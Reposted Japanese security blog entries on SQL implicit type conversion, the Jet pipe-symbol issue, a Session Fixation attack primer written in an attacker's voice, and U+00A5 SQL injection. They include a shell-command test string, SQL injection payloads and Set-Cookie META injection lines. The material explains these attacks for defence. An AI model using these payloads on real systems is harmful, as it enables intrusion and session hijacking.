2009年9月24日木曜日

SQLの暗黙の型変換はワナがいっぱい

補足

この記事は旧徳丸浩の日記からの転載です。元URLアーカイブはてなブックマーク1はてなブックマーク2
備忘のため転載いたしますが、この記事は2009年9月24日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり


このエントリでは、SQLにおいて「暗黙の型変換」を使うべきでない理由として、具体的な「ワナ」をいくつか紹介します。 数値項目に対するSQLインジェクション対策のまとめにて説明したように、RDBの数値型の列に対してSQLインジェクション対策をする方法として、以下の三種類が知られています。
  1. バインド機構を用いる
  2. パラメータの数値としての妥当性確認を行う
  3. パラメータを文字列リテラルとしてエスケープする
このうち、方法3を使うべきでない説明の補足です。具体的には、方法3には、「暗黙の型変換」が発生しますが、それが思わぬ事故を招く可能性が高いことを説明したいと思います。
 方法3に従うと、最終的には以下のようなSQLを発行することになります。age列は年齢を示す列であり、整数型を想定しています。
SELECT * FROM sample1 WHERE age = '27'
挿入の場合は以下のようになります。
INSERT INTO sample1 (age) VALUES ('27')
これらに出てくる '27' という文字列リテラルは、SQL実行時に「暗黙に」型変換されます。

変換されるのは文字列型にか、数値型にか

暗黙の型変換では、プログラマは型の変換内容を明記しないため、RDB毎に持つ型変換ルールに従って型が決定されます。ISO/JISのSQLでは文字列型と数値型の「暗黙の型変換」は規定されていないため、データベースソフトウェア毎に処理系依存のルールがあります。 一番ありがちな以下のようなケースで考えてみましょう。数値型の列と文字列リテラルの比較です(ageは数値型の列)。
… WHERE age > '27'
左辺が数値型、右辺は文字列型です。この場合はどのように型変換されるのでしょうか。二種類の可能性があります。
  1. ageを文字列型に変換する
  2. '27'を数値型に変換する
どっちでも似たようなものと思われるかもしれませんが、この違いは重要です。処理結果とパフォーマンスに大きく影響するからです。結論としては、現在広く利用されているDBMS(MySQL、PostgreSQL、Oracle、MS SQL Server)では数値型に合わせられます。しかし、仮に文字列型にあわせるようなRDBMSがあったとすると、以下のような結果になります。
'9' > '27'
文字列の大小比較は辞書式順序に従うためです。 現実には、数値型にそろえる形で変換されるので、先のSQLは以下のように変形され、実行されます。
… WHERE age > 27
これはこれで大丈夫なのですが、こんどは列が文字列型、リテラルが数値型の場合で考えてみます。日本オラクル社にはかつて社員番号0を持つ社員犬「ウェンディ」がいたそうですので、彼女を検索してみましょう。 …WHERE employeeid = 0 社員番号を持つ列employeeidは、実際には文字列型であると想定します*1。この場合、列employeeidの方が数値型に変換されながら検索が実行されます。これはパフォーマンスの低下をもらたらします。インデックスが使用できないからです。実際問題として、数値型に変換後に 0 に一致する文字列は、「0」の他、「00」、「00000」など無数にあるため、そのようなインデックスは作成できないのです。結果として、文字列型の列と数値リテラルを比較すると、インデックスが使用されないためにパフォーマンスが低下します。

文字列型からどの数値型に変換されるのか

次に、文字列リテラルから数値型に「暗黙に」変換された結果は、どのような数値型になるのでしょうか。私が調べた範囲では、以下のような可能性があります。
  1. 浮動小数点数型になる
  2. 文脈に応じて柔軟に型が決定される
私が調べた範囲では、MySQLは常に 1.の浮動小数点数になり、PostgreSQL、MS SQL、Oracleは 2.の文脈に応じた型になるようです。あぁ、浮動小数点数と聞いただけでイヤな感じがしたあなた、あなたのイヤな感じは現実のものになります。以下、MySQL 5.1での実験結果を紹介します。まず、次のようなテーブルを用意します。
mysql> create table dtest0 (d0 decimal(20, 0));
Query OK, 0 rows affected (0.01 sec)
ご覧のように、十進20桁の列を一つ持つテーブルです。これに「文字列」を挿入してみます。
mysql> insert into dtest0 values('12345678901234567890');
Query OK, 1 row affected (0.00 sec)
mysql> select * from dtest0;
 +----------------------+
 | d0                   |
 +----------------------+
 | 12345678901234567890 |
 +----------------------+
1 row in set (0.00 sec)
挿入においては、期待通りに動いています。念のため、以下のSELECTでも確認してみましょう。
mysql> select * from dtest0 where d0 = 12345678901234567890;
 +----------------------+
 | d0                   |
 +----------------------+
 | 12345678901234567890 | 
 +----------------------+
1 row in set (0.00 sec)
問題ないですね。それでは、問題の「暗黙の型変換」を伴うパターンです。
mysql> select * from dtest0 where d0 = '12345678901234567890';
Empty set (0.00 sec)
あれ、見つからないですね。それでは、この列を挿入したらどうでしょうか。
mysql> insert into dtest0 values (12345678901234570000);
Query OK, 1 row affected (0.05 sec)
mysql> select * from dtest0 where d0 = '12345678901234567890';
 +-----------------------+
 | d0                    |
 +-----------------------+
 | 123456789012345670000 |
 +-----------------------+
今度は見つかりましたが、期待に反して、「12345678901234570000」という値がヒットしています。なぜでしょうか。
 実は、WHERE句の実行に先立ち、'12345678901234567890'が浮動小数点数に変換されているからです。その様子を実験してみましょう。
mysql> select '12345678901234567890'+0;
 +--------------------------+
 | '12345678901234567890'+0 |
 +--------------------------+
 |    1.23456789012346e+019 |
 +--------------------------+
1 row in set (0.00 sec)
0を加算することによって、数値への「暗黙の型変換」結果を表示させました。ご覧のように、浮動小数点数になっています。先の表示「12345678901234570000」とは末尾が少し異なりますが、これは丸めによるものです。このあたりが浮動小数点数のイヤラシイところですね。しかし、ここで示した挙動はMySQLのリファレンスマニュアルにちゃんと書いてあります。
次のルールは、比較の演算に対してどのように変換が行われるかを示しています :
  • 一方か両方の引数が NULL の場合、比較の結果は、NULL-safe <=> 等値比較演算子以外は、NULL になります。NULL <=> NULL の場合、結果は true です。
  • 【中略】
  • 他のすべてのケースでは、引数は浮動少数点 ( 実 ) 数として比較されます
[11.1.2. 式評価でのタイプ変換より引用]
ふつー、こんなとこまで読まないよと言いたくなりますが、「暗黙の型変換」を利用する場合は、このあたりのことも知った上で、SQLの実行結果を予測しなければならないということです。佐名木智貴氏が、「セキュアWebプログラミングTips集(ソフト・リサーチ・センター)」の中で述べられた名文句を思い出します。
ぜひ読者諸氏には今一度、自分の使っているデータベース・ソフトウェアのSQLリファレンスを通読することを推奨する(同書P213)。
私はとても「リファレンスを通読」する根性はないので、できるだけ「安全第一」のプログラミングにより、予期せぬ挙動が入らないようにしています。「暗黙の型変換を避ける」というのもその一つで、セキュリティ上の安全にもつながると信じます。

他のDBMSはどうか

ここで、他のDBMSにも少し触れます。PostgreSQL、MS SQL Server、Oracleは、調べた範囲ではMySQLほどイヤラシイことにはならなかったのですが、油断は禁物です。先に、MySQLで実行した「'12345678901234567890'+0」をPostgreSQL(8.4)で実行すると、以下のようになります。
test=# select '12345678901234567890' + 0;
ERROR:  値"12345678901234567890"は型integerの範囲外です
行 1: select '12345678901234567890' + 0;
             ^
以下は、MS SQL Server(SQL Server 2008)の実行結果
varchar の値 '12345678901234567890' の変換が int 型の列でオーバーフローしました。
これらPostgreSQLとMS SQL Serverでは、文字列リテラルと数値型の演算に際して、演算対象の数値型に型をあわせているようです。PostgreSQLのマニュアルには以下の記述があります。
文字列リテラルに型が指定されていない場合、後述するように、後の段階で解決されるようにとりあえず場所を確保するための型であるunknownが割り当てられます
[10.1. 概要より引用]

a. 二項演算子の1つの引数がunknown型であった場合、この検査のもう片方の引数と同一の型であると仮定します。
[10.2. 演算子より引用]
これを確かめるため、以下の実験をしてみました。PostgreSQL8.4の結果を示しますが、MS SQL Server 2008でも同様の結果です。
test=# select '12345678901234567890' + cast(0 as decimal(20,0));
       ?column?
 ---------------------
 12345678901234567890
(1 行)
数値0を decimal(20,0) という型にキャストしたので、文字列リテラルの方も同じ型にあわせてくれました。便利ですね…なんてことはないのであって、素直に以下のように書けばよいのです。
tokumaru=# select 12345678901234567890 + 0;
       ?column?
 ---------------------
 12345678901234567890
(1 行)

DB2はどうか

Oracleは割合融通の利くRDBMSであり、暗黙の型変換についても期待したとおりに動いてくれます。一方、IBM DB2は、SQL仕様を厳格に実装しているという印象があり、従来「暗黙の型変換」を許していませんでした。これは、寺田氏(id:teracc)が「DB2の文字列→数値変換」として検証結果をまとめておられます。そこでは、DB2のV9.5とV8.2にて、文字列から数値への暗黙の型変換がエラーになることが示されています。私も、DB2 Express-C 9.5にて追試をして、同様の結果を確認しました。 ところが、最近DB2 V9.7(試用版)にて同様の確認をしたところ、V9.7に至って暗黙の型変換が認められるようになっていました。以下は、V9.5での結果。
db2 => select '1'+1 from dual
SQL0402N  算術関数または演算 "+"
のオペランドのデータ・タイプが、数値ではありません。  SQLSTATE=42819
続いて、V9.7での結果です。
db2 => select '1'+1 from dual
1
 ------------------------------------------
                                         2
  1 レコードが選択されました。
db2 => select '12345678901234567890'+0 from dual
1
 ------------------------------------------
                      12345678901234567890
  1 レコードが選択されました。
まだ十分確認ができていないのですが、DB2 V9.7は、Oracleとの互換性をウリにしているため、暗黙の型変換もOracleの挙動に合わせたものではないかと想像しています。DB2のこの仕様変更は、暗黙の型変換の仕様がDBMS毎に異なるだけではなく、同一DBMSのバージョンによっても挙動が異なることを示す良い例だと考えています。

まとめ

SQLの「暗黙の型変換」による予期しない動作について紹介しました。暗黙の型変換の詳細仕様は実装依存であり、時として、利用者の想定以外の動作をする場合があり、危険です。暗黙の型変換を避け、型変換が必要な場合は、CASTによる明示的な変換を行うようにするべきです。予期しない動作の例として以下のようなものを説明しました。
  • 検索時にインデックスが使用できずにパフォーマンスが低下する
  • 暗黙の型変換により精度が損なわれる
  • 暗黙の型変換により、型の範囲外になるというエラーが発生する
  • DBのバージョンアップにより暗黙の型変換の仕様が変わる
というわけで、このエントリの結論は以下のようになります。
  • 例えば、暗黙の型変換を避ける
  • どうしても暗黙の型変換を使いたかったら、SQLリファレンスを通読してからにする(冗談です)
参考:

追記(2009/09/25)

IBM DB2の上記仕様変更について、id:umqさんから指摘を頂き、IBM DB2のリファレンスに以下の記述が追記されていることがわかりました。
ストリング・データ・タイプを使用するオペランドは、算術演算を実行する前に、CAST 指定の規則を使用して DECFLOAT(34) に変換されます。詳しくは、『データ・タイプ間のキャスト』を参照してください。このストリングには、数値の文字ストリング表記が含まれていなければなりません。
[DB2 Version 9.7 for Linux, UNIX, and Windowsより引用]
この記述は、Version9.5のリファレンスには存在せず、Version9.7で追加されたことが分かります。また、DECFLOAT(34)という型は、十進浮動小数点数で34桁の精度を持つという意味ですので、DECIMAL型の31桁、BIGINTの19桁をカバーする数値型として選ばれているようです。なんだかIBMらしい、富豪的な仕様ですね。 ともあれ、DB2 Version9.7から「暗黙の型変換」が正式にサポートされたことがはっきりしました。やはり、「暗黙の型変換」などというマイナーな仕様は、いつの間にか仕様が変更されることは十分あり得るわけで、そのようなあやふやなものに依存するプログラミングは危険だということだと思います。 *1 社員番号を文字列型で保持することは業務システムでは広く行われます

2009年3月27日金曜日

JETエンジンにおいてパイプ記号「|」は今でも「危険」なのか

補足

この記事は旧徳丸浩の日記からの転載です(元URLアーカイブはてなブックマーク)。
備忘のため転載いたしますが、この記事は2009年3月27日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

SQLインジェクション対策の続きで、セキュア・プログラミング講座には、2種類の文字を不受理にせよと書いてある。「;」(セミコロン)と「|」(パイプ記号)だ。

このうち、セミコロンについては不受理にする必要はなく、はっきり間違いといってよいだろう。『3)セミコロン「;」の拒否』の項ではセミコロンを用いた攻撃例も出ているが、脆弱性の原因はセミコロンではなく、シングルクォートをエスケープしていないところにある。バインド機構を用いるか、シングルクォートをエスケープすれば、セミコロンを恐れる必要は全くない。それに、複文を用いた攻撃をもっとも受けやすいMS SQL Serverの場合は、セミコロンなしでも複文を記述できることは前述した。すなわち、原理的にも、現実的にもセミコロンの拒否は意味がない。

一方パイプ記号の方はどうだろうか。少し長いが該当箇所を引用する。
5) その他の特殊記号への対処(Microsoft Jetエンジン)
またMicrosoftのJetエンジンでは、次の文字も機能をもつ特殊記号として扱われる。
  |  VBAステートメント実行文字
Jetエンジンは,与えられたSQL文の文字列の中に「|...|」で囲まれた部分があると、それをVBA(アプリケーション用のVisual Basicサブセット言語)のステートメントとして解釈し実行する。
 これは、SQL 文の中の「'...'」で囲まれた文字列の中に書かれていても起こる。
 これを悪用すると外部からの任意のシステムコマンドの投入が可能となり、最悪の場合、システムが乗っ取られるおそれがある。
このパイプ記号「|」をエスケープする方法は提供されていないため、パイプ記号「|」が含まれている入力パラメータは受理しないようにする必要がある。
  | → 受理しない
Jetエンジンは、Microsoft Accessのデータベースエンジンであるが、直接Access を利用しているつもりがなくても、拡張子「.MDB」をもつデータベースファイルにアクセスする際に使われることになるので注意が必要である。
[SQL組み立て時の引数チェック(アーカイブ)より引用]
この内容は他の文書類ではあまり見かけない。また、私はACCESSおよびJetエンジンの実務での開発経験がなく、また脆弱性診断などでもお目に掛からないので、今までこの問題を検証しないできたのだが、念のため確認してみた。

この問題に言及している文書としては、2000年2月に塩月誠人氏が公開された「セキュリティ勧告 - NTサーバ上におけるJetセキュリティ問題」がある。
Windows NT上で稼動する、MS Accessデータベース(mdbファイル)にアクセスするようなサーバプログラムは、Jetセキュリティ問題(いわゆる Office ODBCドライバ問題)の影響を受ける可能性がある。このセキュリティ問題の影響を受けるサーバプログラムに対し、悪意を持ったユーザが不正な入力を行なうことにより、サーバマシン上で任意のコマンドが起動する危険性が生じる。
[セキュリティ勧告 - NTサーバ上におけるJetセキュリティ問題より引用]
脆弱なサンプルと検証用文字列は以下のようになっている。

脆弱なサンプル:
  set db=Server.CreateObject("ADODB.Connection")
  db.Open "btcustmr"
  sql="select * from Customers where City='" & word & "'"
  set rs=db.Execute(sql)>
検証用文字列:
  |shell("cmd /c echo aaa > c:\test.txt")|   (注: "|" は縦棒文字)
手元のWindows Server 2003を用いて、上記を検証してみたが再現しなかった。パイプ記号は特に不都合なく挿入も検索もできる。塩月氏のレポートから9年も経っているので、Microsoft社が対策したのだろうか。試しにAccess 2003を当該Windows Serverに導入してみたが、現象は変わらなかった(TechNet Plus サブスクリプションを使用)。また、Access 2000 および Access 2002 で、安全でない関数が実行されないように Jet 4.0 を構成する方法などを参考にレジストリをいじったりしたが、やはり現象は再現しない。

このように、現在の環境では「Jetセキュリティ問題」を再現するのは難しいようだが、過去このような問題があったことは確実なので、現在においても「いかなる環境でも絶対に安全」とは断言できない。このような状況下でセキュリティコンサルタントとしてどのようにアドバイスすべきだろうか。

私がJetエンジンを今まで無視してきた理由は、同時に多数が利用するWebアプリケーション構築にJetのようなファイル共有タイプのデータベースエンジンを使用するのは好ましくないと考えるからだ。その方向で技術資料を探してみると、ぴったりそのままの文書が見つかった。
しかし Access ODBC ドライバ、および OLE DB Provider for Jet は、Web システムなどの多くのユーザーからのアクセスによる同時実行や高負荷の対応はされておらず、また、終日稼動で運用されるような高い信頼性を要求されるサーバー アプリケーションで使用されることを考慮して設計されていません。そのため、この様なシステムの場合、弊社では IIS/ASP と共に Microsoft SQL Server、または Microsoft Desktop Engine (以下 MSDE) 等のセキュリティ、常時運用の可用性・信頼性、および拡張性を備えたデータベースの使用を推奨しています。
[IIS 上での Jet データベース エンジンの使用について より引用]
上記のようにMicrosoft自身がWebシステムでのJetの使用を推奨していないのだ。そして、以下の内容が続く。
しかし、Access ODBC ドライバはスレッド セーフではないため、複数のユーザーが同時に MDB ファイル (Access データベース) に要求を行うと、予期せぬ動作が引き起こされる場合があり、システムの安定性に影響を及ぼす可能性があります。そのため、安定性、パフォーマンス、およびスレッド プーリングに対する修正および機能強化を含んでいる OLE DB Provider for Jet の使用を弊社では推奨しています。
注意 : OLE DB Provider for Jet はスレッド セーフですが、Jet がスレッドセーフでないため、完全なマルチ スレッド環境を実装することはできません。そのため、OLE DB Provider for Jet を使用した場合でも、応答がなくなるなど予期せぬ動作が引き起こされる可能性があります。
[IIS 上での Jet データベース エンジンの使用について より引用]
色々書いてあるが、「Jet がスレッドセーフでない」という箇所が重要だ。このことから、Jetを使用したWebアプリケーションでは「別人問題」のように、他ユーザの情報が漏洩する可能性などが考えられる。

まとめよう。「Jetセキュリティ問題」は過去の問題とは言い切れないかもしれないが、少なくとも現在では非常にトリビア的な問題だ。しかも、JetをWebシステムでは使うべきでないとMicrosoft自身が明記しているのだ。であれば、セキュア・プログラミング講座で説明すべきことは、「パイプ記号を受理しない」ではなく、こうだろう。

  例えば、Jetエンジンを避ける

参考:WASForum Conference 2008講演資料「SQLインジェクション対策再考」

2009年6月16日追記

本エントリを書いた後、セキュアプログラミング講座の内容は大きく改訂されたようで、ここで指摘した問題はすべて解消されている。関係者の皆様、ありがとうございました。

IPAの新版「セキュア・プログラミング講座」がイマイチだ

補足

この記事は旧徳丸浩の日記からの転載です(元URLアーカイブはてなブックマーク)。
備忘のため転載いたしますが、この記事は2009年3月27日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

2002年3月にIPAから公開されたセキュア・プログラミング講座は、その後2007年に新版が公開された。旧版は今から7年前のコンテンツがベースになっているので現在の目から見ると色々突っ込みどころがあるが、2002年という時期にこれだけのコンテンツを揃えたというのは立派な仕事だったと考えている。

一方、2007年の新版はどうか。部分的に見れば「開発工程と脆弱性対策」の関連について言及するなど意欲的な内容もあるが、全体としては物足りない。新版が出た当時も「例えば、PHPを避ける」という表現が話題になったくらいで、同じIPAから公開されている「安全なウェブサイトの作り方」に比べれば、あまり影響力がないように思える。

しかし、「安全なウェブサイトの作り方」の第一版が2006年1月に出ているのであるから、その後に「セキュア・プログラミング講座」の新版を公開するからには、「安全なウェブサイトの作り方」の内容を包含し、その詳細版という位置づけであって欲しいと思うのだが、そのような内容にはなっていないのだ。大は、脆弱性に対する考え方から、小は、脆弱性の呼び方に至るまで、まったく異なるコンテンツになっている。これでは、両方のコンテンツを利用するユーザは混乱するだろう。

SQLインジェクション対策はどうか

これ以降は、「セキュア・プログラミング講座」の中から、現在緊急の課題であるSQLインジェクション対策の内容アーカイブ)を吟味したい。その項立ては以下のようになっている。

(1) 入力値のチェック
(2) 特殊記号のエスケープ
(3) プリペアドステートメントの使用

これらはいずれもSQLインジェクション対策として機能するものだが、この(1)と(2)と(3)の関係は、ANDすなわち「全部やれ」なのだろうか、ORすなわち「いずれかをやれ」なのだろうか。これらは並列に並んでいるだけなので分からない。

一方、安全なウェブサイトの作り方の方は、以下のようになっている。
■ 根本的解決
1)-1 SQL 文の組み立てにバインド機構を使用する
【中略】
1)-2 バインド機構を利用できない場合は、SQL 文を構成する全ての変数に対しエスケープ処理を行う
解説 これは、根本的解決 1) のバインド機構を利用した実装ができない場合に実施すべき実装です。
これなら、バインド機構とエスケープ処理が「どちらか一方」であること、バインド機構を優先して検討すべきことがよく分かる。

実は旧版のセキュア・プログラミング講座の内容を読むと、先の謎が解ける。旧版の方では以下のようになっているのだ。
入力値チェックを徹底しよう
任意のSQL文を混入されないためには,入力値チェックを徹底する必要がある。たとえば,
【中略】
しかし人名などの漢字文字コードを扱う場合,本節で紹介した手法では正しい形式かどうかを判断するのは難しい。次節では正しい形式かどうかの判断が困難な入力値を扱う場合について触れる。
入力文字列はエスケープしよう
人名など任意文字を許可する入力文字列を扱う場合,これが任意のSQL文として機能しないようにエスケープする必要がある。
【中略】
以上,SQL文の組み立てにおいて,エスケープ処理の必要性およびその手法について説明した。実はもっと手軽で便利なバインドメカニズムがある。次節ではこれについて説明する。
バインドメカニズムを活用しよう
[SQL組み立て時の引数チェックより引用]
これなら一応分かる。すなわち、第一選択肢としては「入力値チェック」だが「漢字文字コード」の場合はエスケープ、そしてエスケープの簡易便利版として「バインドメカニズム」がある、ということだろう。「安全なウェブサイトの作り方」の方には入力値チェックは対策として示されていないので、両者の推奨内容および優先順位が異なることにはなるが、意図は一応伝わる。

しかるに、新版の方は意図すら伝わらないことから、「駄目な技術文書の見分け方」という意味でよくない。これでは新版は改悪ではないのか。

というわけで、「セキュア・プログラミング講座」に関してIPAにお願いしたいのは以下の3点だ。
  • 技術文書として読んで分かるようにして欲しい
  • 「安全なウェブサイトの作り方」と方法論を統一して欲しい
  • せめて用語だけでも統一して欲しい
続く: JETエンジンにおいてパイプ記号「|」は今でも「危険」なのか

2009年6月16日追記

本エントリを書いた後、セキュアプログラミング講座の内容は大きく改訂されたようで、ここで指摘した問題はすべて解消されている。関係者の皆様、ありがとうございました。

2009年1月30日金曜日

とくまるひろしのSession Fixation攻撃入門

 やぁ、みんな,元気?とくまるひろしです。今日はSession Fixation攻撃の方法をこっそり教えちゃうよ。
 いつもは防御側で漢字の名前でやってるんだけど,きょうは攻撃側ということで,名乗りもひらがなに変えたんだ。だってさ,今度デブサミでご一緒するはせがわようすけさんとか,はまちちゃんとか,ひらがなの人たちの方が格好良さそうじゃないか。
 では始めよう。
# このエントリは、はてなダイアリーの過去のエントリの転載です。

用意するもの

大まかな手順

それでは,やってみよう

セッションIDを準備する

 これは二つの方法があるよ。一番ふつーなのは,標的サーバーを閲覧してそこで発行されたセッションIDを記録することだね。ふつーはこれでいける。たいてい,サイトに行っただけでセッションIDが発行されるからね。セッションIDはCookieとかにPHPSESSIDとかJSESSIONIDのように,SESSやSESSIONとIDを組み合わせた名前であることが多い。値は英数字を組み合わせた乱数のようになっているはずだ。たぶん。
 でも,たまにサイトにログインしないとセッションIDが発行されない場合がある。無料で会員になれるサイトだったら,会員になってログインすればいい。セッションIDを記録したらログアウトしておいた方がいいかな。この時セッションIDがつけなおされていたら,そのサイトの攻撃は難しいと思うよ。
 簡単に会員になれないサイトの場合はどうするか。その場合は,適当に英数字の組み合わせでセッションIDを作る。そんなんでうまくいくかって?うまくいかないこともあるんだけど,PHPで書いてあるサイトなら大丈夫。PHPは寛大なんだ。
 これで,セッションIDの準備は終わりだよ。

標的ユーザにセッションIDを強要してサイトに誘導する

 この部分がSession Fixation攻撃のキモだね。なんせFixationって言うくらいだから,強要が大事なんだ。
 セッションIDを強要する方法はいくつかあるけど,簡単なものから順に説明するね。

(1)URL埋め込みのセッションIDを使う
 PHPJavaなんかだと,セッションIDをURLに持てるんだよ。まぁ設定にもよるんだけどさ。
 確かめ方は簡単だ。ブラウザCookieをオフにして,そのサイトを使ってみる。URLにPHPSESSIONIDとかJSESSIONIDとか出てきたらしめたものだ。そのURLをそのままメールにコピペして,標的ユーザに送りつける。一人二人じゃだめだぜ。大量に送るんだ。
 えっ,Cookieをオフにする方法はどうするかって? おいおい,よしてくれよ。僕らはスーパーハッカーを目指しているんじゃなかったのかい? それくらいは自分で調べてくれ。

(2)Cookie Monsterを使う
 URLが使えない場合は標的ユーザのCookieをセットしてやらないといけないんだが,これはちょっと面倒だ。
 一番簡単な方法はCookie Monsterかな。セサミストリートに出てくる怪物…じゃなくてぇ,そういうバグがあるんだ。Firefoxの2.Xとか,Safariとかに。
 まず,.ne.jpとか,.or.jpとか.co.jpのドメインサーバーを用意する。.co.jpドメインとるのは通常難しいから,.ne.jpか.or.jpかな。IEでも,tokyo.jpみたいな地域ドメインだとこれが使える。おっと,標的サーバードメインと末尾が同じでないとダメだ。サーバーはレン鯖でおk。そこで,次のようなCookieを吐いてやるんだ。
Set-Cookie: JSESSIONID=XXXXXXXXXXXXXXXXXXXX; path=/; domain=.ne.jp
 XXXの部分は,さっき用意したセッションIDな。別にCGI使わなくても,JavaScriptでも,METAタグでもいい。METAタグの場合は,次のようにする。
<META http-equiv="Set-Cookie" content="JSESSIONID=XXXXXXXXXXXXXXXXXXXX; path=/; domain=.ne.jp">
 標的ユーザがうっかりこのコンテンツを踏むと,彼の自慢のSafari君の中では,.ne.jpドメインCookieがセットされるわけ。その後彼は,example.ne.jp(標的サイト)に誘導されると,さっきのCookieが送られて,ばきゅーん,セッションIDがFixationされちゃう,みたいな。
 CGIへの誘導は,やっぱりメールかな。ブログでもいいよ。

(3)HTTPヘッダインジェクションを使う
 段々難しくなるな。標的サーバーHTTPヘッダインジェクションの脆弱性があれば,それを使ってCookieをセットできる場合が多い。やり方までは説明しないよ。それくらいは自分で勉強してくれ。

(4)XSSを使う
 クロスサイト・スクリプティングを使っても,Cookieをセットできる。けどね,ふつーそんなことは僕らしないのよ。なぜ? XSS使ってCookie盗んじゃえばふつーになりすましできるもんね。まぁどうしてもやりたければ止めないけど。
 あぁ,でも(2)のCookie Monsterちゃんとの組み合わせならありかな。標的サイトにはXSSないけど,同じ属性ドメインや地域ドメインの別サイトのXSSを使わせてもらう。だって,tokyo.jpみたいな地域ドメインも個人でとれるけど,そんなとこから足がついたらいやだもんね。だから,同じ地域ドメインで別サイトのXSSを使わせてもらう。BODYの中でも,さっきのMETAタグは有効だから,JavaScript使わなくても楽勝でCookieセットできるよ。こんな流れだ。
hogehoge.fugafuga.setagaya.tokyo.jpにXSS発見
  ↓
hogehoge.fugafuga.setagaya.tokyo.jpのXSSに標的ユーザを誘導
  ↓
<META http-equiv="Set-Cookie" content="JSESSIONID=XXXXXXXXXXXXXXXXXXXX; path=/; domain=.tokyo.jp">
  ↓
.tokyo.jpドメインセッションIDがCookieにセットされる
  ↓
標的サイトのxxx.tokyo.jpに誘導
  ↓
Session Fixation発動
 うーん,これIEでも有効だから凶悪だなぁ。地域ドメイン使っている人はCookie使わない方がいいかも…って無理か。Session Fixation対策を入念にしとけってとこかな。

(5)その他
 他にもCookieセットする方法はあるけど,まぁレアかな。昔の本とかだと,標的ユーザが席離れた隙にCookieセットする,みたいなことが書いてあったりするけど,ばっかじゃねぇのと思うよね。Cookieセットする暇があったら,キーロガーでもなんでも仕込めるじゃない。この間も逮捕されたばかりだな。空き巣に入ってキーロガー仕掛けた奴が。
 だから,さ。離席中にCookieセットする,みたいなのを読むと,まるで,女の子に無理に酒飲ませて泥酔させてさ,おいおいこいつ何するんだと思って見てたら,下着の色確認しただけで満足する,みたいな。却ってそれ,へんたーい,って感じがするのよ。
 あぁ,そうそう,DNS攻撃する手もあるか。でも,それも泥酔攻撃と同じで変よね。というわけで(1)か(2)がふつーだと思うよ。

罠に掛かるのを見張る

 ここまで準備ができたら,ワナに使ったセッションIDでサイトをひたすら定期的にアクセスし続ける。これは,標的さんがワナに掛かるのを見張る意味もあるんだけど,もう一つ重要な意味があるよ。
 それは,これをしないと,セッションタイムアウトっていうのが起こるわけ。だから,定期的に,そう10分くらいおきにアクセスするべきだろうね。
 えっ,そんな面倒くさい? 情けないこと言うね。手でアクセスするわけないじゃない。スクリプトよ,す・く・り・ぷ・と。まぁ,wgetとバッチファイルでもポーリングくらいはできるけど,ハッカー目指すみんなはRubyPythonあたりでクールな監視のスクリプトを作ってくれ。ハッカーの癖にひねくれた奴だと,wshvbscriptjscriptってのもいそうだね。まぁ,好きにしてくれ。

セッションハイジャックする

 ユーザがワナに掛かったら,いよいよセッションハイジャックだ。ようは,なりすましだな。
 一番ふつーなのは,ユーザが、仕掛けたセッションIDのままログインしてしまうのを待つわけ。そしたらさ,こっちはそのセッションIDを知っているわけだから,そいつでなりすましできるってこと。
 ログイン機能がないサイトでも,ハイジャックできる場合があるよ。でも,レアかな。たまに,個人入力画面が何段階かに分かれていて,途中の情報をセッションに入れている場合なんか、見れる場合があるね。「hiddenは危険」なんてIPAのサイトに書いてあるもんだから,セッションの方が安全だろうと思って墓穴を掘るケースよね。こういう場合はhiddenの方がずっと安全です。おっと,安全の話をしているんじゃなかった。
 えっ,ユーザがログインしたとたんにセッションIDが振り直された? あぁ,そういうサイトは狙ってもダメね。他をあたりなさい。狙えるサイトは,いくらでもあると思うよ,きっと。たぶん。




無粋な注意書き

 このコンテンツはSession Fixationの啓蒙を目的として,同攻撃手法を分かりやすく、親しみやすく説明することを目的にしています。
 この情報を元にした悪用は法律で禁止されています。あくまで防御目的のために,攻撃手法の理解のためにお読み下さい。

2008年12月22日月曜日

JavaとMySQLの組み合わせでUnicodeのU+00A5を用いたSQLインジェクションの可能性

補足

この記事は旧徳丸浩の日記からの転載です(元URLアーカイブはてなブックマーク1はてなブックマーク2)。
備忘のため転載いたしますが、この記事は2008年12月22日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

今年のBlack Hat Japanには、はせがわようすけ氏が「趣味と実益の文字コード攻撃」と題して講演され話題となった。その講演資料が公開されているので、私は講演は聞き逃したが、資料は興味深く拝見した。その講演資料のP20以降には、「多対一の変換」と題して、UnicodeのU+00A5(通貨記号としての¥)が、他の文字コードに変換される際にバックスラッシュ「\」(日本語環境では通貨記号)の0x5Cに変換されることから、パストラバーサルが発生する例が紹介されている。

しかし、バックスラッシュと言えばSQLインジェクションの可能性も見逃すことができない。そこで、本資料をきっかけとして、U+00A5を使ったSQLインジェクションの可能性について調査し、Java(JDBC)とMySQLの組み合わせにおいて、発生する場合があることを確認したので報告する。

U+00A5を用いたSQLインジェクションとは

ここで、U+00A5を用いたSQLインジェクションとはどのようなものかを説明しよう。UnicodeのU+00A5はバックスラッシュとは独立に扱える日本円の通貨記号として割り当てられている。この文字をShift_JISやEUC-JPなどに変換する際に、ASCIIの0x5Cに変換される(場合がある)。すると、バックスラッシュをSQLのエスケープに使用するデータベース、具体的にはMySQLとPostgreSQLにおいて、SQLインジェクションが発生する場合がある
具体例を用いて説明しよう。検査パターンとして以下の文字列を使用する。以下、U+00A5を表記する場合には赤色全角の通貨記号「」を用いる
'OR 1=1#
先頭の文字がU+00A5である。これをMySQLのルールでエスケープすると、シングルクォートが「\'」と変換され、以下のようになる。
\'OR 1=1#
ややこしいが、最初の通貨記号がU+00A5、二番目の通貨記号が0x5Cである。これをShift_JISあるいはEUC-JPに変換すると以下のように、二文字とも0x5Cになる。
\\'OR 1=1#
これをSQLとして解釈すると、最初の「\\」が「\」をエスケープしたものと見なされ、「'」はエスケープされない状態となる。すなわち、SQLインジェクションされたことになる。

どのような場合に問題になるか

このタイプのSQLインジェクションが発生するのは、以下のようなケースが典型的な場合であろう。

外部とのインターフェースにUnicode(典型的にはUTF-8)を用いていて、U+00A5を入力することができる
アプリケーションの内部でもUnicode(UCS-2、UTF-16、UTF-8など)を用いている
SQLのエスケープはUnicodeの状態で実行している
